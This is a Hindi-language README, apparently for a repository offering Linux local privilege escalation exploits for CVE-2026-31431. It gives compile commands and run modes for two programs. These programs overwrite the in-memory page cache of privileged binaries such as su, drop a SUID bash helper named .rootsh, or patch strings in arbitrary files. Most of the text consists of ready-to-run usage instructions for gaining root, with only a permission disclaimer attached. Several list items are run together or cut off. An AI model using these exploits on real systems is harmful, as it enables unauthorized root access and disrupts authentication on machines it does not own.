
लिनक्स स्थानीय विशेषाधिकार वृद्धि (privilege escalation) शोषण CVE-2026-31431 के लिए, जिसमें कच्चे (raw) और पुनर्प्राप्ति योग्य (recoverable) वर्कफ़्लो शामिल हैं।
ये Linux LPE एक्सप्लॉइट कार्यान्वयन रनटाइम-विनाशकारी हैं।
ये विशेषाधिकार प्राप्त लक्ष्यों के लाइव पेज-कैश दृश्य को अधिलेखित करते हैं, जैसे:
supatch मोड में दी गई कोई भी फ़ाइलयह आमतौर पर डिस्क पर सामान्य स्थायी संपादन नहीं है, लेकिन यह रनटाइम व्यवहार को बदलता है और प्रमाणीकरण / विशेषाधिकार प्रवाह को तुरंत प्रभावित कर सकता है।
यह रिपॉजिटरी पूरी तरह से गैर-विनाशकारी root मोड प्रदान नहीं करता है।
copyfail_raw_su_root.ccopyfail_portable_lpe.cदोनों केवल Linux के लिए हैं।
अतिरिक्त आर्किटेक्चर के लिए प्रीबिल्ट बाइनरी भविष्य के अपडेट में जोड़ी जा सकती हैं।
gcc -O2 -s copyfail_portable_lpe.c -o copyfail_portable_lpe
gcc -O2 -s copyfail_raw_su_root.c -o copyfail_raw_su_root
copyfail_portable_lpe.c के लिए, चलाने पर:
./copyfail_portable_lpe
डिफ़ॉल्ट रूप से auto-revert का उपयोग होता है।
इसका मतलब है कि यह पहले पुनर्प्राप्ति योग्य वर्कफ़्लो का प्रयास करेगा:
यदि पुनर्प्राप्ति योग्य मोड विफल हो जाता है, तो प्रोग्राम फ़ॉलबैक मोड संकेत प्रिंट करता है।
न्यूनतम रॉ वेरिएंट:
su को पैच करता हैsu को निष्पादित करता है./copyfail_raw_su_root
कई मोड वाला सामान्य वेरिएंट।
स्पष्ट गैर-पुनर्स्थापन मोड:
./copyfail_portable_lpe auto
पुनर्प्राप्ति-प्रथम मोड:
./copyfail_portable_lpe
./copyfail_portable_lpe auto-revert
बिना पुनर्स्थापन के SUID bash हेल्पर छोड़ें:
./copyfail_portable_lpe helper ./.rootsh
हेल्पर छोड़ें, फिर पैच किए गए लक्ष्यों को पुनर्स्थापित करने का प्रयास करें:
./copyfail_portable_lpe helper-revert ./.rootsh
चुनी गई फ़ाइल पर समान-लंबाई वाली स्ट्रिंग प्रतिस्थापन:
./copyfail_portable_lpe patch <file> <find> <replace>
रॉ su पैच पथ:
./copyfail_portable_lpe raw-su-elf
auto-revert और helper-revert अभी भी शोषण के दौरान विनाशकारी हैं।
वे केवल इस अर्थ में "पुनर्प्राप्ति योग्य" हैं कि वे:
इसलिए यह विनाश-फिर-पुनर्स्थापन है, वास्तव में गैर-विनाशकारी नहीं।
auto / auto-revert / helper / helper-revert / patch: Linux-उन्मुख, लक्ष्य पर संकलित होने पर CPU आर्किटेक्चर से कम कसकर जुड़े हुएraw-su-elf: केवल x86_64 Linuxयह रिपॉजिटरी निम्नलिखित के लिए प्रदान की गई है:
स्वामी से स्पष्ट अनुमति के बिना इन सामग्रियों का उपयोग सिस्टम, खातों या नेटवर्क के विरुद्ध न करें।
लेखक और योगदानकर्ता इस सामग्री को जैसा है वैसा प्रदान करते हैं, बिना किसी वारंटी के, और इस रिपॉजिटरी में कोड या तकनीकों के उपयोग से उत्पन्न दुरुपयोग, क्षति, डेटा हानि, सेवा व्यवधान या कानूनी परिणामों के लिए कोई जिम्मेदारी स्वीकार नहीं करते हैं।